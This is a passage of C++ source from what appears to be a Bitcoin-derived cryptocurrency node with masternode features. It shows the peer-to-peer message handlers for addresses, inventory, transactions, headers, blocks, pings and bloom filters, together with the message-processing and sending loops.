if (vAddr.size() > 1000) {
Misbehaving(pfrom->GetId(), 20);
return error("message addr size() = %u", vAddr.size());
}
// Store the new addresses
vector<CAddress> vAddrOk;
int64_t nNow = GetAdjustedTime();
int64_t nSince = nNow - 10 * 60;
BOOST_FOREACH (CAddress& addr, vAddr) {
boost::this_thread::interruption_point();
if (addr.nTime <= 100000000 || addr.nTime > nNow + 10 * 60)
addr.nTime = nNow - 5 * 24 * 60 * 60;
pfrom->AddAddressKnown(addr);
bool fReachable = IsReachable(addr);
if (addr.nTime > nSince && !pfrom->fGetAddr && vAddr.size() <= 10 && addr.IsRoutable()) {
// Relay to a limited number of other nodes
{
LOCK(cs_vNodes);
// Use deterministic randomness to send to the same nodes for 24 hours
// at a time so the setAddrKnowns of the chosen nodes prevent repeats
static uint256 hashSalt;
if (hashSalt == 0)
hashSalt = GetRandHash();
uint64_t hashAddr = addr.GetHash();
uint256 hashRand = hashSalt ^ (hashAddr << 32) ^ ((GetTime() + hashAddr) / (24 * 60 * 60));
hashRand = Hash(BEGIN(hashRand), END(hashRand));
multimap<uint256, CNode*> mapMix;
BOOST_FOREACH (CNode* pnode, vNodes) {
if (pnode->nVersion < CADDR_TIME_VERSION)
continue;
unsigned int nPointer;
memcpy(&nPointer, &pnode, sizeof(nPointer));
uint256 hashKey = hashRand ^ nPointer;
hashKey = Hash(BEGIN(hashKey), END(hashKey));
mapMix.insert(make_pair(hashKey, pnode));
}
int nRelayNodes = fReachable ? 2 : 1; // limited relaying of addresses outside our network(s)
for (multimap<uint256, CNode*>::iterator mi = mapMix.begin(); mi != mapMix.end() && nRelayNodes-- > 0; ++mi)
((*mi).second)->PushAddress(addr);
}
}
// Do not store addresses outside our network
if (fReachable)
vAddrOk.push_back(addr);
}
addrman.Add(vAddrOk, pfrom->addr, 2 * 60 * 60);
if (vAddr.size() < 1000)
pfrom->fGetAddr = false;
if (pfrom->fOneShot)
pfrom->fDisconnect = true;
}
else if (strCommand == "inv") {
vector<CInv> vInv;
vRecv >> vInv;
if (vInv.size() > MAX_INV_SZ) {
Misbehaving(pfrom->GetId(), 20);
return error("message inv size() = %u", vInv.size());
}
LOCK(cs_main);
std::vector<CInv> vToFetch;
for (unsigned int nInv = 0; nInv < vInv.size(); nInv++) {
const CInv& inv = vInv[nInv];
boost::this_thread::interruption_point();
pfrom->AddInventoryKnown(inv);
bool fAlreadyHave = AlreadyHave(inv);
LogPrint("net", "got inv: %s %s peer=%d\n", inv.ToString(), fAlreadyHave ? "have" : "new", pfrom->id);
if (!fAlreadyHave && !fImporting && !fReindex && inv.type != MSG_BLOCK)
pfrom->AskFor(inv);
if (inv.type == MSG_BLOCK) {
UpdateBlockAvailability(pfrom->GetId(), inv.hash);
if (!fAlreadyHave && !fImporting && !fReindex && !mapBlocksInFlight.count(inv.hash)) {
// Add this to the list of blocks to request
vToFetch.push_back(inv);
LogPrint("net", "getblocks (%d) %s to peer=%d\n", pindexBestHeader->nHeight, inv.hash.ToString(), pfrom->id);
}
}
// Track requests for our stuff
g_signals.Inventory(inv.hash);
if (pfrom->nSendSize > (SendBufferSize() * 2)) {
Misbehaving(pfrom->GetId(), 50);
return error("send buffer size() = %u", pfrom->nSendSize);
}
}
if (!vToFetch.empty())
pfrom->PushMessage("getdata", vToFetch);
}
else if (strCommand == "getdata") {
vector<CInv> vInv;
vRecv >> vInv;
if (vInv.size() > MAX_INV_SZ) {
Misbehaving(pfrom->GetId(), 20);
return error("message getdata size() = %u", vInv.size());
}
if (fDebug || (vInv.size() != 1))
LogPrint("net", "received getdata (%u invsz) peer=%d\n", vInv.size(), pfrom->id);
if ((fDebug && vInv.size() > 0) || (vInv.size() == 1))
LogPrint("net", "received getdata for: %s peer=%d\n", vInv[0].ToString(), pfrom->id);
pfrom->vRecvGetData.insert(pfrom->vRecvGetData.end(), vInv.begin(), vInv.end());
ProcessGetData(pfrom);
}
else if (strCommand == "getblocks" || strCommand == "getheaders") {
CBlockLocator locator;
uint256 hashStop;
vRecv >> locator >> hashStop;
LOCK(cs_main);
// Find the last block the caller has in the main chain
CBlockIndex* pindex = FindForkInGlobalIndex(chainActive, locator);
// Send the rest of the chain
if (pindex)
pindex = chainActive.Next(pindex);
int nLimit = 500;
LogPrint("net", "getblocks %d to %s limit %d from peer=%d\n", (pindex ? pindex->nHeight : -1), hashStop == uint256(0) ? "end" : hashStop.ToString(), nLimit, pfrom->id);
for (; pindex; pindex = chainActive.Next(pindex)) {
if (pindex->GetBlockHash() == hashStop) {
LogPrint("net", " getblocks stopping at %d %s\n", pindex->nHeight, pindex->GetBlockHash().ToString());
break;
}
pfrom->PushInventory(CInv(MSG_BLOCK, pindex->GetBlockHash()));
if (--nLimit <= 0) {
// When this block is requested, we'll send an inv that'll make them
// getblocks the next batch of inventory.
LogPrint("net", " getblocks stopping at limit %d %s\n", pindex->nHeight, pindex->GetBlockHash().ToString());
pfrom->hashContinue = pindex->GetBlockHash();
break;
}
}
}
else if (strCommand == "headers" && Params().HeadersFirstSyncingActive()) {
CBlockLocator locator;
uint256 hashStop;
vRecv >> locator >> hashStop;
LOCK(cs_main);
if (IsInitialBlockDownload())
return true;
CBlockIndex* pindex = NULL;
if (locator.IsNull()) {
// If locator is null, return the hashStop block
BlockMap::iterator mi = mapBlockIndex.find(hashStop);
if (mi == mapBlockIndex.end())
return true;
pindex = (*mi).second;
} else {
// Find the last block the caller has in the main chain
pindex = FindForkInGlobalIndex(chainActive, locator);
if (pindex)
pindex = chainActive.Next(pindex);
}
// we must use CBlocks, as CBlockHeaders won't include the 0x00 nTx count at the end
vector<CBlock> vHeaders;
int nLimit = MAX_HEADERS_RESULTS;
if (fDebug)
LogPrintf("getheaders %d to %s from peer=%d\n", (pindex ? pindex->nHeight : -1), hashStop.ToString(), pfrom->id);
for (; pindex; pindex = chainActive.Next(pindex)) {
vHeaders.push_back(pindex->GetBlockHeader());
if (--nLimit <= 0 || pindex->GetBlockHash() == hashStop)
break;
}
pfrom->PushMessage("headers", vHeaders);
}
else if (strCommand == "tx" || strCommand == "dstx") {
vector<uint256> vWorkQueue;
vector<uint256> vEraseQueue;
CTransaction tx;
//masternode signed transaction
bool ignoreFees = false;
CTxIn vin;
vector<unsigned char> vchSig;
int64_t sigTime;
if (strCommand == "tx") {
vRecv >> tx;
} else if (strCommand == "dstx") {
//these allow masternodes to publish a limited amount of free transactions
vRecv >> tx >> vin >> vchSig >> sigTime;
CMasternode* pmn = mnodeman.Find(vin);
if (pmn != NULL) {
if (!pmn->allowFreeTx) {
//multiple peers can send us a valid masternode transaction
if (fDebug) LogPrintf("dstx: Masternode sending too many transactions %s\n", tx.GetHash().ToString());
return true;
}
std::string strMessage = tx.GetHash().ToString() + boost::lexical_cast<std::string>(sigTime);
std::string errorMessage = "";
if (!obfuScationSigner.VerifyMessage(pmn->pubKeyMasternode, vchSig, strMessage, errorMessage)) {
LogPrintf("dstx: Got bad masternode address signature %s \n", vin.ToString());
//pfrom->Misbehaving(20);
return false;
}
LogPrintf("dstx: Got Masternode transaction %s\n", tx.GetHash().ToString());
ignoreFees = true;
pmn->allowFreeTx = false;
if (!mapObfuscationBroadcastTxes.count(tx.GetHash())) {
CObfuscationBroadcastTx dstx;
dstx.tx = tx;
dstx.vin = vin;
dstx.vchSig = vchSig;
dstx.sigTime = sigTime;
mapObfuscationBroadcastTxes.insert(make_pair(tx.GetHash(), dstx));
}
}
}
CInv inv(MSG_TX, tx.GetHash());
pfrom->AddInventoryKnown(inv);
LOCK(cs_main);
bool fMissingInputs = false;
bool fMissingZerocoinInputs = false;
CValidationState state;
mapAlreadyAskedFor.erase(inv);
if (!tx.IsZerocoinSpend() && AcceptToMemoryPool(mempool, state, tx, true, &fMissingInputs, false, ignoreFees)) {
mempool.check(pcoinsTip);
RelayTransaction(tx);
vWorkQueue.push_back(inv.hash);
LogPrint("mempool", "AcceptToMemoryPool: peer=%d %s : accepted %s (poolsz %u)\n",
pfrom->id, pfrom->cleanSubVer,
tx.GetHash().ToString(),
mempool.mapTx.size());
// Recursively process any orphan transactions that depended on this one
set<NodeId> setMisbehaving;
for(unsigned int i = 0; i < vWorkQueue.size(); i++) {
map<uint256, set<uint256> >::iterator itByPrev = mapOrphanTransactionsByPrev.find(vWorkQueue[i]);
if(itByPrev == mapOrphanTransactionsByPrev.end())
continue;
for(set<uint256>::iterator mi = itByPrev->second.begin();
mi != itByPrev->second.end();
++mi) {
const uint256 &orphanHash = *mi;
const CTransaction &orphanTx = mapOrphanTransactions[orphanHash].tx;
NodeId fromPeer = mapOrphanTransactions[orphanHash].fromPeer;
bool fMissingInputs2 = false;
// Use a dummy CValidationState so someone can't setup nodes to counter-DoS based on orphan
// resolution (that is, feeding people an invalid transaction based on LegitTxX in order to get
// anyone relaying LegitTxX banned)
CValidationState stateDummy;
if(setMisbehaving.count(fromPeer))
continue;
if(AcceptToMemoryPool(mempool, stateDummy, orphanTx, true, &fMissingInputs2)) {
LogPrint("mempool", " accepted orphan tx %s\n", orphanHash.ToString());
RelayTransaction(orphanTx);
vWorkQueue.push_back(orphanHash);
vEraseQueue.push_back(orphanHash);
} else if(!fMissingInputs2) {
int nDos = 0;
if(stateDummy.IsInvalid(nDos) && nDos > 0) {
// Punish peer that gave us an invalid orphan tx
Misbehaving(fromPeer, nDos);
setMisbehaving.insert(fromPeer);
LogPrint("mempool", " invalid orphan tx %s\n", orphanHash.ToString());
}
// Has inputs but not accepted to mempool
// Probably non-standard or insufficient fee/priority
LogPrint("mempool", " removed orphan tx %s\n", orphanHash.ToString());
vEraseQueue.push_back(orphanHash);
}
mempool.check(pcoinsTip);
}
}
BOOST_FOREACH (uint256 hash, vEraseQueue)EraseOrphanTx(hash);
} else if (tx.IsZerocoinSpend() && AcceptToMemoryPool(mempool, state, tx, true, &fMissingZerocoinInputs, false, ignoreFees)) {
//Presstab: ZCoin has a bunch of code commented out here. Is this something that should have more going on?
//Also there is nothing that handles fMissingZerocoinInputs. Does there need to be?
RelayTransaction(tx);
LogPrint("mempool", "AcceptToMemoryPool: Zerocoinspend peer=%d %s : accepted %s (poolsz %u)\n",
pfrom->id, pfrom->cleanSubVer,
tx.GetHash().ToString(),
mempool.mapTx.size());
} else if (fMissingInputs) {
AddOrphanTx(tx, pfrom->GetId());
// DoS prevention: do not allow mapOrphanTransactions to grow unbounded
unsigned int nMaxOrphanTx = (unsigned int)std::max((int64_t)0, GetArg("-maxorphantx", DEFAULT_MAX_ORPHAN_TRANSACTIONS));
unsigned int nEvicted = LimitOrphanTxSize(nMaxOrphanTx);
if (nEvicted > 0)
LogPrint("mempool", "mapOrphan overflow, removed %u tx\n", nEvicted);
} else if (pfrom->fWhitelisted) {
// Always relay transactions received from whitelisted peers, even
// if they are already in the mempool (allowing the node to function
// as a gateway for nodes hidden behind it).
RelayTransaction(tx);
}
if (strCommand == "dstx") {
CInv inv(MSG_DSTX, tx.GetHash());
RelayInv(inv);
}
int nDoS = 0;
if (state.IsInvalid(nDoS)) {
LogPrint("mempool", "%s from peer=%d %s was not accepted into the memory pool: %s\n", tx.GetHash().ToString(),
pfrom->id, pfrom->cleanSubVer,
state.GetRejectReason());
pfrom->PushMessage("reject", strCommand, state.GetRejectCode(),
state.GetRejectReason().substr(0, MAX_REJECT_MESSAGE_LENGTH), inv.hash);
if (nDoS > 0)
Misbehaving(pfrom->GetId(), nDoS);
}
}
else if (strCommand == "headers" && Params().HeadersFirstSyncingActive() && !fImporting && !fReindex) // Ignore headers received while importing
{
std::vector<CBlockHeader> headers;
// Bypass the normal CBlock deserialization, as we don't want to risk deserializing 2000 full blocks.
unsigned int nCount = ReadCompactSize(vRecv);
if (nCount > MAX_HEADERS_RESULTS) {
Misbehaving(pfrom->GetId(), 20);
return error("headers message size = %u", nCount);
}
headers.resize(nCount);
for (unsigned int n = 0; n < nCount; n++) {
vRecv >> headers[n];
ReadCompactSize(vRecv); // ignore tx count; assume it is 0.
}
LOCK(cs_main);
if (nCount == 0) {
// Nothing interesting. Stop asking this peers for more headers.
return true;
}
CBlockIndex* pindexLast = NULL;
BOOST_FOREACH (const CBlockHeader& header, headers) {
CValidationState state;
if (pindexLast != NULL && header.hashPrevBlock != pindexLast->GetBlockHash()) {
Misbehaving(pfrom->GetId(), 20);
return error("non-continuous headers sequence");
}
/*TODO: this has a CBlock cast on it so that it will compile. There should be a solution for this
* before headers are reimplemented on mainnet
*/
if (!AcceptBlockHeader((CBlock)header, state, &pindexLast)) {
int nDoS;
if (state.IsInvalid(nDoS)) {
if (nDoS > 0)
Misbehaving(pfrom->GetId(), nDoS);
std::string strError = "invalid header received " + header.GetHash().ToString();
return error(strError.c_str());
}
}
}
if (pindexLast)
UpdateBlockAvailability(pfrom->GetId(), pindexLast->GetBlockHash());
if (nCount == MAX_HEADERS_RESULTS && pindexLast) {
// Headers message had its maximum size; the peer may have more headers.
// TODO: optimize: if pindexLast is an ancestor of chainActive.Tip or pindexBestHeader, continue
// from there instead.
LogPrintf("more getheaders (%d) to end to peer=%d (startheight:%d)\n", pindexLast->nHeight, pfrom->id, pfrom->nStartingHeight);
pfrom->PushMessage("getheaders", chainActive.GetLocator(pindexLast), uint256(0));
}
CheckBlockIndex();
}
else if (strCommand == "block" && !fImporting && !fReindex) // Ignore blocks received while importing
{
CBlock block;
vRecv >> block;
uint256 hashBlock = block.GetHash();
CInv inv(MSG_BLOCK, hashBlock);
LogPrint("net", "received block %s peer=%d\n", inv.hash.ToString(), pfrom->id);
//sometimes we will be sent their most recent block and its not the one we want, in that case tell where we are
if (!mapBlockIndex.count(block.hashPrevBlock)) {
if (find(pfrom->vBlockRequested.begin(), pfrom->vBlockRequested.end(), hashBlock) != pfrom->vBlockRequested.end()) {
//we already asked for this block, so lets work backwards and ask for the previous block
pfrom->PushMessage("getblocks", chainActive.GetLocator(), block.hashPrevBlock);
pfrom->vBlockRequested.push_back(block.hashPrevBlock);
} else {
//ask to sync to this block
pfrom->PushMessage("getblocks", chainActive.GetLocator(), hashBlock);
pfrom->vBlockRequested.push_back(hashBlock);
}
} else {
pfrom->AddInventoryKnown(inv);
CValidationState state;
if (!mapBlockIndex.count(block.GetHash())) {
ProcessNewBlock(state, pfrom, &block);
int nDoS;
if(state.IsInvalid(nDoS)) {
pfrom->PushMessage("reject", strCommand, state.GetRejectCode(),
state.GetRejectReason().substr(0, MAX_REJECT_MESSAGE_LENGTH), inv.hash);
if(nDoS > 0) {
TRY_LOCK(cs_main, lockMain);
if(lockMain) Misbehaving(pfrom->GetId(), nDoS);
}
}
//disconnect this node if its old protocol version
pfrom->DisconnectOldProtocol(GetMinPeerProtoVersion(pindexBestHeader->nHeight), strCommand);
} else {
LogPrint("net", "%s : Already processed block %s, skipping ProcessNewBlock()\n", __func__, block.GetHash().GetHex());
}
}
}
// This asymmetric behavior for inbound and outbound connections was introduced
// to prevent a fingerprinting attack: an attacker can send specific fake addresses
// to users' AddrMan and later request them by sending getaddr messages.
// Making users (which are behind NAT and can only make outgoing connections) ignore
// getaddr message mitigates the attack.
else if ((strCommand == "getaddr") && (pfrom->fInbound)) {
pfrom->vAddrToSend.clear();
vector<CAddress> vAddr = addrman.GetAddr();
BOOST_FOREACH (const CAddress& addr, vAddr)
pfrom->PushAddress(addr);
}
else if (strCommand == "mempool") {
LOCK2(cs_main, pfrom->cs_filter);
std::vector<uint256> vtxid;
mempool.queryHashes(vtxid);
vector<CInv> vInv;
BOOST_FOREACH (uint256& hash, vtxid) {
CInv inv(MSG_TX, hash);
CTransaction tx;
bool fInMemPool = mempool.lookup(hash, tx);
if (!fInMemPool) continue; // another thread removed since queryHashes, maybe...
if ((pfrom->pfilter && pfrom->pfilter->IsRelevantAndUpdate(tx)) ||
(!pfrom->pfilter))
vInv.push_back(inv);
if (vInv.size() == MAX_INV_SZ) {
pfrom->PushMessage("inv", vInv);
vInv.clear();
}
}
if (vInv.size() > 0)
pfrom->PushMessage("inv", vInv);
}
else if (strCommand == "ping") {
if (pfrom->nVersion > BIP0031_VERSION) {
uint64_t nonce = 0;
vRecv >> nonce;
// Echo the message back with the nonce. This allows for two useful features:
//
// 1) A remote node can quickly check if the connection is operational
// 2) Remote nodes can measure the latency of the network thread. If this node
// is overloaded it won't respond to pings quickly and the remote node can
// avoid sending us more work, like chain download requests.
//
// The nonce stops the remote getting confused between different pings: without
// it, if the remote node sends a ping once per second and this node takes 5
// seconds to respond to each, the 5th ping the remote sends would appear to
// return very quickly.
pfrom->PushMessage("pong", nonce);
}
}
else if (strCommand == "pong") {
int64_t pingUsecEnd = nTimeReceived;
uint64_t nonce = 0;
size_t nAvail = vRecv.in_avail();
bool bPingFinished = false;
std::string sProblem;
if (nAvail >= sizeof(nonce)) {
vRecv >> nonce;
// Only process pong message if there is an outstanding ping (old ping without nonce should never pong)
if (pfrom->nPingNonceSent != 0) {
if (nonce == pfrom->nPingNonceSent) {
// Matching pong received, this ping is no longer outstanding
bPingFinished = true;
int64_t pingUsecTime = pingUsecEnd - pfrom->nPingUsecStart;
if (pingUsecTime > 0) {
// Successful ping time measurement, replace previous
pfrom->nPingUsecTime = pingUsecTime;
} else {
// This should never happen
sProblem = "Timing mishap";
}
} else {
// Nonce mismatches are normal when pings are overlapping
sProblem = "Nonce mismatch";
if (nonce == 0) {
// This is most likely a bug in another implementation somewhere, cancel this ping
bPingFinished = true;
sProblem = "Nonce zero";
}
}
} else {
sProblem = "Unsolicited pong without ping";
}
} else {
// This is most likely a bug in another implementation somewhere, cancel this ping
bPingFinished = true;
sProblem = "Short payload";
}
if (!(sProblem.empty())) {
LogPrint("net", "pong peer=%d %s: %s, %x expected, %x received, %u bytes\n",
pfrom->id,
pfrom->cleanSubVer,
sProblem,
pfrom->nPingNonceSent,
nonce,
nAvail);
}
if (bPingFinished) {
pfrom->nPingNonceSent = 0;
}
}
else if (fAlerts && strCommand == "alert") {
CAlert alert;
vRecv >> alert;
uint256 alertHash = alert.GetHash();
if (pfrom->setKnown.count(alertHash) == 0) {
if (alert.ProcessAlert()) {
// Relay
pfrom->setKnown.insert(alertHash);
{
LOCK(cs_vNodes);
BOOST_FOREACH (CNode* pnode, vNodes)
alert.RelayTo(pnode);
}
} else {
// Small DoS penalty so peers that send us lots of
// duplicate/expired/invalid-signature/whatever alerts
// eventually get banned.
// This isn't a Misbehaving(100) (immediate ban) because the
// peer might be an older or different implementation with
// a different signature key, etc.
Misbehaving(pfrom->GetId(), 10);
}
}
}
else if (!(nLocalServices & NODE_BLOOM) &&
(strCommand == "filterload" ||
strCommand == "filteradd" ||
strCommand == "filterclear")) {
LogPrintf("bloom message=%s\n", strCommand);
Misbehaving(pfrom->GetId(), 100);
}
else if (strCommand == "filterload") {
CBloomFilter filter;
vRecv >> filter;
if (!filter.IsWithinSizeConstraints())
// There is no excuse for sending a too-large filter
Misbehaving(pfrom->GetId(), 100);
else {
LOCK(pfrom->cs_filter);
delete pfrom->pfilter;
pfrom->pfilter = new CBloomFilter(filter);
pfrom->pfilter->UpdateEmptyFull();
}
pfrom->fRelayTxes = true;
}
else if (strCommand == "filteradd") {
vector<unsigned char> vData;
vRecv >> vData;
// Nodes must NEVER send a data item > 520 bytes (the max size for a script data object,
// and thus, the maximum size any matched object can have) in a filteradd message
if (vData.size() > MAX_SCRIPT_ELEMENT_SIZE) {
Misbehaving(pfrom->GetId(), 100);
} else {
LOCK(pfrom->cs_filter);
if (pfrom->pfilter)
pfrom->pfilter->insert(vData);
else
Misbehaving(pfrom->GetId(), 100);
}
}
else if (strCommand == "filterclear") {
LOCK(pfrom->cs_filter);
delete pfrom->pfilter;
pfrom->pfilter = new CBloomFilter();
pfrom->fRelayTxes = true;
}
else if (strCommand == "reject") {
if (fDebug) {
try {
string strMsg;
unsigned char ccode;
string strReason;
vRecv >> LIMITED_STRING(strMsg, CMessageHeader::COMMAND_SIZE) >> ccode >> LIMITED_STRING(strReason, MAX_REJECT_MESSAGE_LENGTH);
ostringstream ss;
ss << strMsg << " code " << itostr(ccode) << ": " << strReason;
if (strMsg == "block" || strMsg == "tx") {
uint256 hash;
vRecv >> hash;
ss << ": hash " << hash.ToString();
}
LogPrint("net", "Reject %s\n", SanitizeString(ss.str()));
} catch (std::ios_base::failure& e) {
// Avoid feedback loops by preventing reject messages from triggering a new reject message.
LogPrint("net", "Unparseable reject message received\n");
}
}
} else {
//probably one the extensions
obfuScationPool.ProcessMessageObfuscation(pfrom, strCommand, vRecv);
mnodeman.ProcessMessage(pfrom, strCommand, vRecv);
budget.ProcessMessage(pfrom, strCommand, vRecv);
masternodePayments.ProcessMessageMasternodePayments(pfrom, strCommand, vRecv);
ProcessMessageSwiftTX(pfrom, strCommand, vRecv);
ProcessSpork(pfrom, strCommand, vRecv);
masternodeSync.ProcessMessage(pfrom, strCommand, vRecv);
}
return true;
}
// Note: whenever a protocol update is needed toggle between both implementations (comment out the formerly active one)
// so we can leave the existing clients untouched (old SPORK will stay on so they don't see even older clients).
// Those old clients won't react to the changes of the other (new) SPORK because at the time of their implementation
// it was the one which was commented out
int ActiveProtocol()
{
// SPORK_14 was used for 70910. Leave it 'ON' so they don't see > 70910 nodes. They won't react to SPORK_15
// messages because it's not in their code
/* if (IsSporkActive(SPORK_14_NEW_PROTOCOL_ENFORCEMENT))
return MIN_PEER_PROTO_VERSION_AFTER_ENFORCEMENT;
*/
// SPORK_15 is used for 70911. Nodes < 70911 don't see it and still get their protocol version via SPORK_14 and their
// own ModifierUpgradeBlock()
if (IsSporkActive(SPORK_15_NEW_PROTOCOL_ENFORCEMENT_2))
return MIN_PEER_PROTO_VERSION_AFTER_ENFORCEMENT;
return MIN_PEER_PROTO_VERSION_BEFORE_ENFORCEMENT;
}
// requires LOCK(cs_vRecvMsg)
bool ProcessMessages(CNode* pfrom)
{
//if (fDebug)
// LogPrintf("ProcessMessages(%u messages)\n", pfrom->vRecvMsg.size());
//
// Message format
// (4) message start
// (12) command
// (4) size
// (4) checksum
// (x) data
//
bool fOk = true;
if (!pfrom->vRecvGetData.empty())
ProcessGetData(pfrom);
// this maintains the order of responses
if (!pfrom->vRecvGetData.empty()) return fOk;
std::deque<CNetMessage>::iterator it = pfrom->vRecvMsg.begin();
while (!pfrom->fDisconnect && it != pfrom->vRecvMsg.end()) {
// Don't bother if send buffer is too full to respond anyway
if (pfrom->nSendSize >= SendBufferSize())
break;
// get next message
CNetMessage& msg = *it;
//if (fDebug)
// LogPrintf("ProcessMessages(message %u msgsz, %u bytes, complete:%s)\n",
// msg.hdr.nMessageSize, msg.vRecv.size(),
// msg.complete() ? "Y" : "N");
// end, if an incomplete message is found
if (!msg.complete())
break;
// at this point, any failure means we can delete the current message
it++;
// Scan for message start
if (memcmp(msg.hdr.pchMessageStart, Params().MessageStart(), MESSAGE_START_SIZE) != 0) {
LogPrintf("PROCESSMESSAGE: INVALID MESSAGESTART %s peer=%d\n", SanitizeString(msg.hdr.GetCommand()), pfrom->id);
fOk = false;
break;
}
// Read header
CMessageHeader& hdr = msg.hdr;
if (!hdr.IsValid()) {
LogPrintf("PROCESSMESSAGE: ERRORS IN HEADER %s peer=%d\n", SanitizeString(hdr.GetCommand()), pfrom->id);
continue;
}
string strCommand = hdr.GetCommand();
// Message size
unsigned int nMessageSize = hdr.nMessageSize;
// Checksum
CDataStream& vRecv = msg.vRecv;
uint256 hash = Hash(vRecv.begin(), vRecv.begin() + nMessageSize);
unsigned int nChecksum = 0;
memcpy(&nChecksum, &hash, sizeof(nChecksum));
if (nChecksum != hdr.nChecksum) {
LogPrintf("ProcessMessages(%s, %u bytes): CHECKSUM ERROR nChecksum=%08x hdr.nChecksum=%08x\n",
SanitizeString(strCommand), nMessageSize, nChecksum, hdr.nChecksum);
continue;
}
// Process message
bool fRet = false;
try {
fRet = ProcessMessage(pfrom, strCommand, vRecv, msg.nTime);
boost::this_thread::interruption_point();
} catch (std::ios_base::failure& e) {
pfrom->PushMessage("reject", strCommand, REJECT_MALFORMED, string("error parsing message"));
if (strstr(e.what(), "end of data")) {
// Allow exceptions from under-length message on vRecv
LogPrintf("ProcessMessages(%s, %u bytes): Exception '%s' caught, normally caused by a message being shorter than its stated length\n", SanitizeString(strCommand), nMessageSize, e.what());
} else if (strstr(e.what(), "size too large")) {
// Allow exceptions from over-long size
LogPrintf("ProcessMessages(%s, %u bytes): Exception '%s' caught\n", SanitizeString(strCommand), nMessageSize, e.what());
} else {
PrintExceptionContinue(&e, "ProcessMessages()");
}
} catch (boost::thread_interrupted) {
throw;
} catch (std::exception& e) {
PrintExceptionContinue(&e, "ProcessMessages()");
} catch (...) {
PrintExceptionContinue(NULL, "ProcessMessages()");
}
if (!fRet)
LogPrintf("ProcessMessage(%s, %u bytes) FAILED peer=%d\n", SanitizeString(strCommand), nMessageSize, pfrom->id);
break;
}
// In case the connection got shut down, its receive buffer was wiped
if (!pfrom->fDisconnect)
pfrom->vRecvMsg.erase(pfrom->vRecvMsg.begin(), it);
return fOk;
}
bool SendMessages(CNode* pto, bool fSendTrickle)
{
{
// Don't send anything until we get their version message
if (pto->nVersion == 0)
return true;
//
// Message: ping
//
bool pingSend = false;
if (pto->fPingQueued) {
// RPC ping request by user
pingSend = true;
}
if (pto->nPingNonceSent == 0 && pto->nPingUsecStart + PING_INTERVAL * 1000000 < GetTimeMicros()) {
// Ping automatically sent as a latency probe & keepalive.
pingSend = true;
}
if (pingSend) {
uint64_t nonce = 0;
while (nonce == 0) {
GetRandBytes((unsigned char*)&nonce, sizeof(nonce));
}
pto->fPingQueued = false;
pto->nPingUsecStart = GetTimeMicros();
if (pto->nVersion > BIP0031_VERSION) {
pto->nPingNonceSent = nonce;
pto->PushMessage("ping", nonce);
} else {
// Peer is too old to support ping command with nonce, pong will never arrive.
pto->nPingNonceSent = 0;
pto->PushMessage("ping");
}
}
TRY_LOCK(cs_main, lockMain); // Acquire cs_main for IsInitialBlockDownload() and CNodeState()
if (!lockMain)
return true;
// Address refresh broadcast
static int64_t nLastRebroadcast;
if (!IsInitialBlockDownload() && (GetTime() - nLastRebroadcast > 24 * 60 * 60)) {
LOCK(cs_vNodes);
BOOST_FOREACH (CNode* pnode, vNodes) {
// Periodically clear setAddrKnown to allow refresh broadcasts
if (nLastRebroadcast)
pnode->setAddrKnown.clear();
// Rebroadcast our address
AdvertizeLocal(pnode);
}
if (!vNodes.empty())
nLastRebroadcast = GetTime();
}
//
// Message: addr
//
if (fSendTrickle) {
vector<CAddress> vAddr;
vAddr.reserve(pto->vAddrToSend.size());
BOOST_FOREACH (const CAddress& addr, pto->vAddrToSend) {
// returns true if wasn't already contained in the set
if (pto->setAddrKnown.insert(addr).second) {
vAddr.push_back(addr);
// receiver rejects addr messages larger than 1000
if (vAddr.size() >= 1000) {
pto->PushMessage("addr", vAddr);
vAddr.clear();
}
}
}
pto->vAddrToSend.clear();
if (!vAddr.empty())
pto->PushMessage("addr", vAddr);
}
CNodeState& state = *State(pto->GetId());
if (state.fShouldBan) {
if (pto->fWhitelisted)
LogPrintf("Warning: not punishing whitelisted peer %s!\n", pto->addr.ToString());
else {
pto->fDisconnect = true;
if (pto->addr.IsLocal())
LogPrintf("Warning: not banning local peer %s!\n", pto->addr.ToString());
else {
CNode::Ban(pto->addr);
}
}
state.fShouldBan = false;
}
BOOST_FOREACH (const CBlockReject& reject, state.rejects)
pto->PushMessage("reject", (string) "block", reject.chRejectCode, reject.strRejectReason, reject.hashBlock);
state.rejects.clear();
// Start block sync
if (pindexBestHeader == NULL)
pindexBestHeader = chainActive.Tip();
bool fFetch = state.fPreferredDownload || (nPreferredDownload == 0 && !pto->fClient && !pto->fOneShot); // Download if this is a nice peer, or we have no nice peers and this one might do.
if (!state.fSyncStarted && !pto->fClient && fFetch /*&& !fImporting*/ && !fReindex) {
// Only actively request headers from a single peer, unless we're close to end of initial download.
if (nSyncStarted == 0 || pindexBestHeader->GetBlockTime() > GetAdjustedTime() - 6 * 60 * 60) { // NOTE: was "close to today" and 24h in Bitcoin
state.fSyncStarted = true;
nSyncStarted++;
//CBlockIndex *pindexStart = pindexBestHeader->pprev ? pindexBestHeader->pprev : pindexBestHeader;
//LogPrint("net", "initial getheaders (%d) to peer=%d (startheight:%d)\n", pindexStart->nHeight, pto->id, pto->nStartingHeight);
//pto->PushMessage("getheaders", chainActive.GetLocator(pindexStart), uint256(0));
pto->PushMessage("getblocks", chainActive.GetLocator(chainActive.Tip()), uint256(0));
}
}
// Resend wallet transactions that haven't gotten in a block yet
// Except during reindex, importing and IBD, when old wallet
// transactions become unconfirmed and spams other nodes.
if (!fReindex /*&& !fImporting && !IsInitialBlockDownload()*/) {
g_signals.Broadcast();
}
//
// Message: inventory
//
vector<CInv> vInv;
vector<CInv> vInvWait;
{
LOCK(pto->cs_inventory);
vInv.reserve(pto->vInventoryToSend.size());
vInvWait.reserve(pto->vInventoryToSend.size());
BOOST_FOREACH (const CInv& inv, pto->vInventoryToSend) {
if (pto->setInventoryKnown.count(inv))
continue;
// trickle out tx inv to protect privacy
if (inv.type == MSG_TX && !fSendTrickle) {
// 1/4 of tx invs blast to all immediately
static uint256 hashSalt;
if (hashSalt == 0)
hashSalt = GetRandHash();
uint256 hashRand = inv.hash ^ hashSalt;
hashRand = Hash(BEGIN(hashRand), END(hashRand));
bool fTrickleWait = ((hashRand & 3) != 0);
if (fTrickleWait) {
vInvWait.push_back(inv);
continue;
}
}
// returns true if wasn't already contained in the set
if (pto->setInventoryKnown.insert(inv).second) {
vInv.push_back(inv);
if (vInv.size() >= 1000) {
pto->PushMessage("inv", vInv);
vInv.clear();
}
}
}
pto->vInventoryToSend = vInvWait;
}
if (!vInv.empty())
pto->PushMessage("inv", vInv);
// Detect whether we're stalling
int64_t nNow = GetTimeMicros();
